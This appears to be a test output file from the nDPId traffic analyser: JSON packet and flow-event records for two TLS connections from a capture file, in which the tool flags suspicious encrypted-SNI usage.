{"version":"TLSv1.2","client_requested_server_name":"these-are-not-the-droids-youre-looking-for.com","ja3":"077d20c3f8c5a1f091dc937c515b69c1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","tls_supported_versions":"TLSv1.3"}} +00417{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":265763,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"+P\/CRWqLLLBdqyO5CABFAAAo1A9AADkGlJxoEa9VwKgBFQG72MxjNlEaFZ1LcFAQAELmiAAA"} +02403{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":271419,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"+P\/CRWqLLLBdqyO5CABFAAXc1BFAADkGjuZoEa9VwKgBFQG72MxjNlEaFZ1LcFAQAEIx7gAAFgMDAGoCAABmAwNw+lc6r0tf3YdYfbWvsjq6lUYmX2lHn0WywBDUA8mO+BC3C2PdEU5UEeZFLwoPl1YAEwMAAC4AMwAkAB0AIEBba40GfrygMyeAtaoaApWLvD\/pYpMxaPlBkSn3R+V6ACsAAgMEFAMDAAEBFwMDDteWD7lzB+RguiGPJK4o8U\/3eSchjzjEO1ByvIgmphBIgJlGXyjPfHNj3sVwryZcorbjVq897pLlEJIAZrrTthlHpJHUlG05hAmbjJsZbjsB67us5cQpu4U1RSUTTswTHf4yHjhP3s5UXLXpyIUm+4nTIZ9TqJTDQGlZQyN2UGWrdCQBfdIhnCMgu\/2aXsQ5i6fZYeaTRhXjGDZtKlthS0BOXO81T49o8ccubMxteBGqFFf9vNmrALi2irDVJ3cVoe4DZQbfjAT9jWLPe53LJAR8N8XzJvdbkO7Aa\/SylZf1LkDBnjehDTxWaaR5Y8tUY0kUUdNrU0D6HeOjX5NFpmOrKHz21IhEVKmy+i50+gq6l27zZ5EYMJu3YM\/V9aylWqWbAq5yAvAGlhA6geYJZcZ7mejPiQyQo3ML\/QLj1SrFXg\/Wx99XPJGdpsx41f4Yjq6lTCV91GiE7zO83kwDs6Qz4i+DBZbOiAYTr3mVhpf9YbxZw4IG2lwjhSpgt+nfTBBfK27AdNvnUyes546Kopnx\/Ui1UpobuW5UwRuu9pQWissd2Hy+BdJ7laD\/iqxPTm+sfW+zY9xR+zynG3ylj5VT94FuQ4zqGrnFMnn5UEAEokqyWvCmDpMCTEcIsCQDEEQxPk3n7vpVAcapbO8VBnrmpgaylIUnkypZnlYg1QDn0IBMxbmQ52vIqYrUZ+IczH9g6i12ON4BgW1L92ZDz8zdAOX4Q\/3EanpP+heCjViSVOwhhuxcaIiQGbz\/0yOeJ6fEZ4EEHhODQT52phhiu+ZM2TBwx3eDjxR1xTQEEgoPZTDMDsxv9HKP\/dF47AYjZFB541mF7OEFDCbmlMRDOqjWAHWVaWgUkwuZA1KnHSdikmrvikihfaMaPDgMJdfsU4aTwT4bSRcoJcReLIY6eF6ZSCNsda3CRvCiYbr2sbG\/CFMzJNZ7pnPsrmRX4tsx1hw1O\/dvM7ykIC5Ym8eTPneFZSeAKSHplh6X0hqsha0mq5SqMHsfiUKyGZ7NQ6g7JsoAXleLiaFDkVJbffau5ztX\/yIiYkSq+OKvOGxaDTS+JEdUo5wUaqGU4qAWAk\/XGTR6s2UIDrTSpx2IskAq63dbThAl8mpWh+n6C2TrP\/H4yhXnRyZpVz+Ot7t5sx4wkCh90wiMR+rXkYef8bSetnAjz+5\/H76\/+CnEJKoi953vSh96Bz68OPmoLQ6AOT1z\/SBjt87JDuujmHVl9Ffp279aI+muMhIykgOOcAJludWp8v66HBIPG1X31Z8BdQs8lA25Tff4hqcQHpkU+CZh9aR+ap5G\/KZmOpUEJ4P5g61Ud8Rgiuh1H3z3G2iW\/ZUI93EltA19hKVbrXPwQDhdxZNtaurtRhiWwe3iR7mkRzTx+QwZAGN\/pr8HUkYFKa9\/xO42BN8EwrCFJ401qFbtYycwwQQPIyF9tFUxiYfL9APSjSAAiN8QsjaD8o600MHu3X+ZLe\/CPA3uKA1tAJJcu\/NY6\/oCSgznU+iUzxIqzo9lL8pyBVXOQLIksCdIEYwVTRAU6dWmLQwD06bNmUV\/\/xAj0jvu7cj2NcyuF+IBdMGR6lhHFisWJriPSo\/uukTaNKY8CWqBsAqIFTrJqdvV9GOZ1\/g0E44W77UDAcxX4FmlncGI6q9qW\/6c6Jt7WawSSNBEY3PMNmrkjP679DpG9U8whzqkpz061ZLNU+MdKTFOTBBMtw1qiG1Yi7bRwZJOgX7VLUhIw7CYKc+Uc8D5cajqldAtDGEGfJZ4muawOq3f+SLJctSHmnR4OnU="} +00919{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1595697574192,"flow_last_seen":1595697574271,"flow_tot_l4_data_len":2250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":375,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.21","dst_ip":"104.17.175.85","src_port":55500,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","21":"TLS Suspicious ESNI Usage"},"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"these-are-not-the-droids-youre-looking-for.com","ja3":"077d20c3f8c5a1f091dc937c515b69c1","ja3s":"d75f9129bb5d05492a65ff78e081bcb2","unsafe_cipher":0,"cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_supported_versions":"TLSv1.3"}} +02397{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":271426,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"+P\/CRWqLLLBdqyO5CABFAAXc1BJAADkGjuVoEa9VwKgBFQG72MxjNlbOFZ1LcFAQAELyRQAAFyqikxkqJVDWQ42HIFth8ZvD33\/+05z4sdxxp+xbJu8vuIM+Ao6gibWGn76tHzdlsOjFKoo\/SKq3AhXb90tqwKfi7WABZ5oX05X57OEtA9IAgp60m5qoS89IRiABt3DhIS9lyzQNaHEknGLbQ4NkQVqDe5eVJ3ixXy7VtF1K2Q3tj4yG1bHBL8O1scF1slahZqMtehgzlXbxaMHXtlOvlTeG1FJ2f4kl+C3hdUOTFi92fh9p19u8G3i+R6sSNx0UpnzPdxMVAMa5MckNTAgpRPLtogRikMHRV7ob+2EC3ej8VM0Iii3qzRnqasT9cmdngljjOqyM24SaFpDlicMM\/yLyUtIyCloxMbXpHau3ggY9ppcBeGcgN3p1OHs1\/zyQANjD9n0kkie\/5Dt4p7LohMSt1ruh7y8E7e3ll8ThOJ160MI7KMTx3Jsuwc3GC3MoiEVv5GclwIsIfdQmcmJVG43\/57DO0+tYbZ\/21HiUqSh2bpOWMiFyQP9FI4OUoKbEIfZVrujGWfNZcEJIZvTs1i5yG5js3yUEeoOKf38vyE81Cog3zFnw\/Lo5kOgRMG+lShd0jdY7MlzJhpYv2SKKeORG8oIY0Mqd6djT4\/lM+E8qLFNIGDvOIFa7Gj960ecLIXXg9ECJNbh2nWkoXSkdz6OxVjpYd+14Wm1QxiVn9vhhI7OLAHCZuvxIrx0M8HVlskS2QB1FEct4yhuktbvRHFMq8hsAKTU22Yv9nROmGUwAPZ+dQZNVOngdywxnTlqencx8HlJwSPbvas5FzQkQ0nnkM36B3mtgync5p2VWEf+KRbqM4IjPTMLcGK0ElPPbiM89d5Csa4LgTUjjb2rl8\/D+JLR2wQyjl7\/gcUX50z3KqIwmFgrK9o0ZVi5yhUqnfeejt9VBgYRvf3JKe92mZ+ZVkwFPFeSevIVcI1t3QswNcEBV2wQUSRWeUDfRe0n+IxzsRJsA56KNaiMvsuXduxE2EsuIY1ZVU7ZhbU9lkwRsOZhZHxsAExFu8enJ+byhOZujeQNzXmXzZOC2bS9qX67a0tnIPxRr3Mv04HTbIK1B7itczcqSB0zU4KeEv4LIVMRC\/mv4YMfGGzJIythskI\/r2I8rzH3WdDtEKL0KSmsaQsUUSCvRZkFLNSOWaZUD7tOM009AnP68Ffj723ifVu1SQanUu2H4j3iJffH+AG0gUEqhF2jYt\/cLDP7ZwWR9QxY3PZahoTuOUnflD7vrJJO5u5S2CWg65ceHz6F\/wayrIsrgJ3GF7T6gAFWsMobT1wRNnSfPj6SSuKxeTCQpI79gfhCOMEYg2UZFkoc509XEkA\/8AXagX3lEacvGoEczdVv7WucauL64EKV72yfYgP\/Riz\/XPls2AVvJ6FBrtPuRecnoC\/a7DgkcJfININqi9EEo16lVqt37mPsN56DyAvBkCCoGvqAYu1uu4Ot+z9dwwa7k0Qnx1Oli6XLpK6V99sXo0IzJ0nZXSAQFqnWCdhyWQ3hCHv9jO78\/5YG3U6\/uv6xHK1lDy4dQbcz62c3rU6MBK2rFggzwYpmQQbK7mAX7ZIEw9Ukz4XYO5oJ\/2HGduFmgBEqS3qY7x\/B3p4\/SvTqzDWULfeVHa5MWz6bY7cJ6FU3Ja4kF2iX+bzlDb34l2ZYkGCJGpwnyFoRCVIyEMzxLZD+vveW+HKfsSNBKASm2LjCWgeRXMKcrDy1vxPEnmAF0HS4qQBpF2rDZP8UXi1SDkixIoORkDK4EinMDgIIZwcT6pv7H+j9+enInC2maFE7Cg13qeVQvRZvL2QkrbyXo0KUJNZ\/M4DZlnvbT4TITLxy+CvB8Kwe7EluYje8SCkm9pVu6uQxEczWrApxwG5f7LsFamd\/NsgpP2bCRhNZ2kJbvilaoAm14FmmmwCgyZhMj3rP0PoWFp2+HJHwbLheNvovUHwdzRs8TUcKs2RRWLXs="} +01788{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":271429,"pkt_caplen":1055,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1055,"pkt_l4_len":1021,"pkt":"+P\/CRWqLLLBdqyO5CABFAAQR1BNAADkGkK9oEa9VwKgBFQG72MxjNlyCFZ1LcFAYAELK6gAAT4ghP3hAvHSRvYPIW833T8rF0Vb7KH06FoewTAHZnqWdySNvGA1BxAjRnqSgkcaszyh2X1zXq8n1rU39mkjuPssXpNy0Yd8Ntqhr6IkjitlXdgtlJj7xhQ9UoIiZcvWuA9jvhC87nawMNDWfhT30qW75J6ZK9p0l2LAN3VHcyhihPuPbJfm\/hoEi\/ZSmP+iVcMdlFWkWGov\/4oIFO3D54v\/gDoDobZnoZeuKm6uP3MVRtY3shfZ\/6tU+n3cv1o2lLXa7HtFOHfLrQlsoEWF2lM0wW0SPZh9660o0z7UmRHP95Lt8306pkdwCmwWobpv3dGfSyzgFjC37mALM8FOGWtRHCQVxTK1bkVH24\/iO7tnwMiLfl8+PCfSEIcn4qZabVpC66oynF4PNse79A\/AE+MPWCgJNcoT\/6gnSaQv\/kt1G\/q5cglaY0Sldw7DZSvmK2mI0YORAsgbnwA\/PozxLNtIu1xIZi8eo0kzP9lh9WRd0HFfGTBfOC2kswb\/V\/oQvfBhvGGlie9PuybXz9t11+7ADCk5VShjvcWkFCuWaJlqksghDYgEje9YpFuzKEz6HrmEpRdMAipEQGzBUR7C9DraNH6ZW1Hm19SP3mrIcPZq\/c2znS5bfngweLUV2+pEoGq7zHM9g93bMoyxejtCRGQnj1ApcsicKQuMgFzTknAi51AHU3gNqaFQzxnWTO\/2IwhjtfnL8UV\/hmQwqj3z0VT14W6w14nO8\/Nt5SgRZPmUHmqYTno\/JUC97XXejTt65r\/2jugM4PUNLMBrvNciVpdEWv1EqcSKzp8lXlQIabRK3SWC4aGbqoCZDZ0hCIcacSlmeepx51erWBYsrY4ESdj0CiUQvXO0gkFZzeLr68KUFJfxUTfMyPZ9y5V0Tvmtp7Tc2NzqYj40LPLP+QansiTtpBxYCofIBujKLdlrZfUJq0jLu9YHZvJfi\/D5RKBu3O674y+CgVem6PWZvyamnLea5EZBDNHsJLWoEyY1bXRvDRMo9+lWHpo9MhMTyWAI3W7L+ub78UjSEJrmIy+Fu9c4TfagVYoMHaLErPhMpGinA7uA\/XqdtLkN5PFGr5Oh4y15ad61bKv9i0oYpqyrPiqwiqakOvHHOatdRayOfXKVxbaefKxL25FKFrwB\/TmHLYL1Lx+4Yj\/bwVcUMTK69GE0+ZJfkXRCaK6CX5QTG1YCk1dmU2nInmT3rTJiJTK\/i2AJVwkIu9HaQAkkrQuaY9RuYSAywJnJ+oIJQS+7cLIFV9U1ceZipL5\/XiRBi\/cDlf5cTH8Z0SQkIGiENPtgVVt6EUK\/c6dMFflSUh8S\/42FVl0Uk\/FJRkk8="} +00417{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":271554,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LLBdqyO5+P\/CRWqLCABFAAAoAABAAEAGYazAqAEVaBGvVdjMAbsVnUtwYzZcglAQD9LLkAAA"} +00419{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":271555,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LLBdqyO5+P\/CRWqLCABFAAAoAABAAEAGYazAqAEVaBGvVdjMAbsVnUtwYzZga1AQD8LHtwAA"} +00419{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":271869,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LLBdqyO5+P\/CRWqLCABFAAAoAABAAEAGYazAqAEVaBGvVdjMAbsVnUtwYzZga1AQEADHeQAA"} +00509{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":272557,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"LLBdqyO5+P\/CRWqLCABFAABoAABAAEAGYWzAqAEVaBGvVdjMAbsVnUtwYzZga1AYEABPqgAAFAMDAAEBFwMDADWnb9y0FjHkCYXa9Mv3oiIw58kpLHI9hbCkpYSKwjbT5tmhSsPBCdwAMupOODdmzMyN2MBnEA=="} +00588{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":272682,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"LLBdqyO5+P\/CRWqLCABFAAChAABAAEAGYTPAqAEVaBGvVdjMAbsVnUuwYzZga1AYEACVEAAAFwMDAHTbGkXPhSFh2EtBT4Ucf2la9Me1Pr\/cnCufOWXr97iBYl2sFJjp6mds9gcEN0NbujkofpclXD\/7+RfwBuf00YU6dfzrsRTSZBOq190E19skhMEmjtDKcO4oViXiNfEnYtMrdsZgdVLAYKRQU4zDKuBqkYlDYQ=="} +00419{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":303215,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"+P\/CRWqLLLBdqyO5CABFAAAo1BRAADkGlJdoEa9VwKgBFQG72MxjNmBrFZ1LsFAQAELW9wAA"} +00419{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697574,"pkt_ts_usec":303765,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"+P\/CRWqLLLBdqyO5CABFAAAo1BVAADkGlJZoEa9VwKgBFQG72MxjNmBrFZ1MKVAQAELWfgAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1595697597731,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.21","dst_ip":"104.17.175.85","src_port":55514,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":731441,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"LLBdqyO5+P\/CRWqLCABFAABAAABAAEAGYZTAqAEVaBGvVdjaAbvycO9jAAAAALAC\/\/+plAAAAgQFtAEDAwYBAQgKRX6yWgAAAAAEAgAA"} +00436{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":760281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"+P\/CRWqLLLBdqyO5CABFAAA0AABAADkGaKBoEa9VwKgBFQG72Npkmiax8nDvZIAS\/\/9OXwAAAgQFeAEBBAIBAwMK"} +00418{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":760372,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"LLBdqyO5+P\/CRWqLCABFAAAoAABAAEAGYazAqAEVaBGvVdjaAbvycO9kZJomslAQEAB++AAA"} +01284{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":760792,"pkt_caplen":693,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":693,"pkt_l4_len":659,"pkt":"LLBdqyO5+P\/CRWqLCABFAAKnAABAAEAGXy3AqAEVaBGvVdjaAbvycO9kZJomslAYEAA4MwAAFgMBAnoBAAJ2AwNdJNFyReVirRSVojufnGMbeLCCSIfasM1ieW4FG8of3hAwM4m8b00Q9oV+Hc7T5oMLAAYTAxMBEwIBAAI3AAAAOAA2AAAzeW91LXRoaW5rLXRoYXRzLW5vcm1hbC10bHMtdHJhZmZpYy15b3VyZS1zZWVpbmcuY29t\/84BbhMBAB0AIJnVpjNl66MOXpvmx41gUQaYeiX7Z6hw7BwkUWzRGGpOACC\/cH4IalVfPmYOxS2sC8vou1xZe1ySPybTPG6RJca5vAEkS4DxHD4+QDhSKdiI9dtzmEYOX\/XsngPoMxgQvNMUwzIntV9PDa3UuBPJJ0uISr3A0kNEKeu1WYMqXVS11VsTg2a9oo\/43miikoJcoUUiy1+yOgTMZU6cbZxblnsgUg1\/xO\/snQQVSkBCjdT7iXQq+6rdARBQIPBbI8RPIWgC\/aX5zfvRKbqhzKSkI16fHp0WqW\/nLO8BrKQzxpfdSdI4nhqvgX9U6XHk8pDekey4Olh2o7N7l+ZuvLuQrv4785RVuirst7QWHRV2Bry+Hk0MA5HVdlJYWh5sSSkPTUD9beLuumP3bW19kkE0M1up6+gTpBl9qsjvZgOotscar2pvqtkrE0XfU6KUOEWnq2oJz8N4PI+8cq1Isu1cBJJOnfv1frzevwAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGAAWCAQEAQQDCAUFAQUDCAYGAQYDAgECAwAyABIAEAQBBAMFAQUDBgEGAwIBAgP\/AQABAAASAAAAMwAmACQAHQAgyNi4uav9JMuW\/0Qhwazj9bJ0hRmofP\/tRvglJ5t3J3AAKwADAgME"} +00878{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1595697597731,"flow_last_seen":1595697597760,"flow_tot_l4_data_len":755,"flow_min_l4_data_len":20,"flow_max_l4_data_len":659,"flow_avg_l4_data_len":188,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.21","dst_ip":"104.17.175.85","src_port":55514,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","21":"TLS Suspicious ESNI Usage"},"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"you-think-thats-normal-tls-traffic-youre-seeing.com","ja3":"077d20c3f8c5a1f091dc937c515b69c1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","tls_supported_versions":"TLSv1.3"}} +00418{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":798677,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"+P\/CRWqLLLBdqyO5CABFAAAok5FAADkG1RpoEa9VwKgBFQG72Npkmiay8nDx41AQAEKMNwAA"} +02396{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1595697597,"pkt_ts_usec":802693,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"+P\/CRWqLLLBdqyO5CABFAAXck5JAADkGz2VoEa9VwKgBFQG72Npkmiay8nDx41AQAEJ+WgAAFgMDAGoCAABmAwMYnKu1Jz+6wQ82eQfnPz1iBy0pMTqXSLHRMgZJarxZjxAwM4m8b00Q9oV+Hc7T5oMLEwMAAC4AMwAkAB0AIGTvR4q7UNlprJwAqSF2GX0R3EKGN6QfuwZhqNEFK0pwACsAAgMEFAMDAAEBFwMDDteVaXbyXZkQ\/cI+WQumU1mC2rlwocG7oLUHshsoekS\/A79Zaxr1OjC4xM3FQR1R26sPv6u\/EqxA1VGswfTcKEt51IksXsMaVKbbPBlSkvXmJ0\/3wRTOY07XOx+r2fnL84lylZjbtoo8B9Y1dKEt8d9sAZlMjuLs9PoyYnwImlz+P2JRe1+Y\/tLNvcXMhdXI\/HZu\/yloKGvKvouMlVMA44FNj6ewgfbAUGFYdp4eSZu4t7JsUiUJkDRQrcVbYpf3mfJE5QpiV0mAgsU0rGsXrmKUDRhLm+2D9Re+PD8eBqQl8HDGOp\/ISiBuQT+yJSAH2DKOToTO88XAmej0oXmdQSiD74Mo+jePgUV0vOUyjM25DaEyyAVNzdHQXyOaFlsffCs2U2WBJU2boP9TYdzEEqdNuXr5NMfhKSIwO963a1PuzQ3hjyWcwsm8Bj8NUcgQ2vBmwrwvL5DhOz7pWqYERn+JR3AzJcSousSIne+GmBraIGCO9SispoCMfn6MGqtvr3gGefNz\/q+KP8Hn9w8YdCRqeHbXcTU7x1tSP6dO9YdxDvRrcjitaTdjJqnRd+ltSmQejZuHF0nxse3xOSnkUPk4hEqTX0nUKDJqDru2EO3EtG2EThZDiczX\/0sKwPmH+WLMEXYNz7rNUTJHvU\/nTwyGjXW69x\/x4DAVMDZPWavpi9a3WcS5uttBaPYPFTzqq9qjdv13KRLyjB+lBnRkVq850hgPvjRH+mid\/9XN2mELbCZqmMhC+qcDgVYcilQEO1b8VbBkEco9qFfZEL7nVzxKPP6rlUFF4z8PiVfHqmNIQ3eAIQSYhuGrbkPE2pOpPNiEnpU4bhVsfVuwq0s3ffLklW5WX7GYemfENVPGYG7HCA59klltW83a3qj3b6sgYhKN4OiP9jiHDdWe4HYQisWM4936AA1WLOm0wl5QjKazAOO7riO+\/bo\/o6HwWNKbgKQ6BJ8lCgU+inZfsifvF5ZGqLJg+sd0L3cWV5ZsZ63SHFLYvnWLUhJEUttvFVo5bXUBmruggUXtN3hYpKKLXqzOS+iy7XwmKSCW8lx2EI4LwGyhGvUgE86w0+Z5szxT0fqUvYmOjGkMnsXWkuLQQZiW7Lf4g2YqoE7KR2P9dUejo36\/OZzZ1oOwNLfavrChxcwQ1+xvl5\/hS8xrq5CnwmsTqf5padEsIB6yRk3d2smXhw6aMUPQ9ux7spoUrE++3j+P74C0Klu6t4nT9RY+na7P3kWRGAEenE5RgIenxd7FbhS9A0MpRwC+IH5tnhmKLZlnLQAbDB074\/MkOIhNkxkbHDIr90MydtSbR6P6ct3JLVmPViV2PHhgDOP0BDK39Tu8469StctyQcUSDnyWp43y\/+hOKcVNzTJtyDEH3Tx+20y5MLBb\/YjVz9DP60PbixpIeynBJN9BaSLuzdoLq33e1TreXUCbCQwebQOGPskm2exOa8LMXjcNkqL9yat+rJo3zURd5ampqiZtI3N7zqIivk1dlEaRKbdZZkZQ1wXFW6HJoFdjOs2WToXdi630rI\/dTBDSg\/HE2eqOSO9MYTmFbVG5Ti9P2EtnTtFugIj37y8HEILLYoLOilZntzHh0e5vXGFUYQ6wqxIVfiMrQ322GxPeSFLMCsZreWZGLgPPa+\/vJ7hHank2RtD+8\/4s98fq7fapNFv0wDdXBExSs71U90eBAgH1GwcCOoWe8Lh2JtmqAKMF+7WGls29e0eZdiGXuJ6ncrIDtbbEacfHP1zJnVDSjIoMzgUkT88soPNsNHJrKscyTzGQF3o="} +00925{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":26,"source":"tls_esni_sni_both.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1595697597731,"flow_last_seen":1595697597802,"flow_tot_l4_data_len":2255,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":375,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.21","dst_ip":"104.17.175.85","src_port":55514,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","21":"TLS Suspicious ESNI Usage"},"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"you-think-thats-normal-tls-traffic-youre-seeing.com","ja3":"077d20c3f8c5a1f091dc937c515b69c1","ja3s":"d75f9129bb5d05492a65ff78e081bcb2","unsafe_cipher":0,"cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_supported_versions":"TLSv1.3"}} 